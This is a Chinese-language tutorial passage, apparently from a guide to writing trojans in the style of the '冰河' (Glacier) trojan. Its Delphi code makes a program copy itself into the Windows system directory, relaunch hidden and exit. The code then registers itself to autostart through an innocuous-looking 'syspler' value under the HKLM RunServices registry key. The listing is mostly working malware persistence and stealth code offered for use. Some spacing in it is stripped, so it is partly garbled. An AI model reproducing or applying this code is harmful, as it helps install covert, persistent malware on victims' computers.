这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedureTForm1.FormCreate(Sender:TObject);
var
myname:string;
begin
myname:=ExtractFilename(Application.Exename);//获得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
function GetWinDir:String;
var
Buf:array[0..MAX_PATH]ofchar;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
ifResult[Length(Result)]<>'\'thenResult:=Result+'\';
end;
如何能使程序能在windows启动时自动启动?
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式.
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedureTForm1.FormCreate(Sender:TObject);
constK='\Software\Microsoft\Windows\CurrentVersion\RunServices';
varmyname:string;
begin
{WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname:=ExtractFilename(Application.Exename);//获得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
withTRegistry.Createdo
try
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey(K,TRUE);
WriteString('syspler',application.ExeName);
finally
free;
end;
end;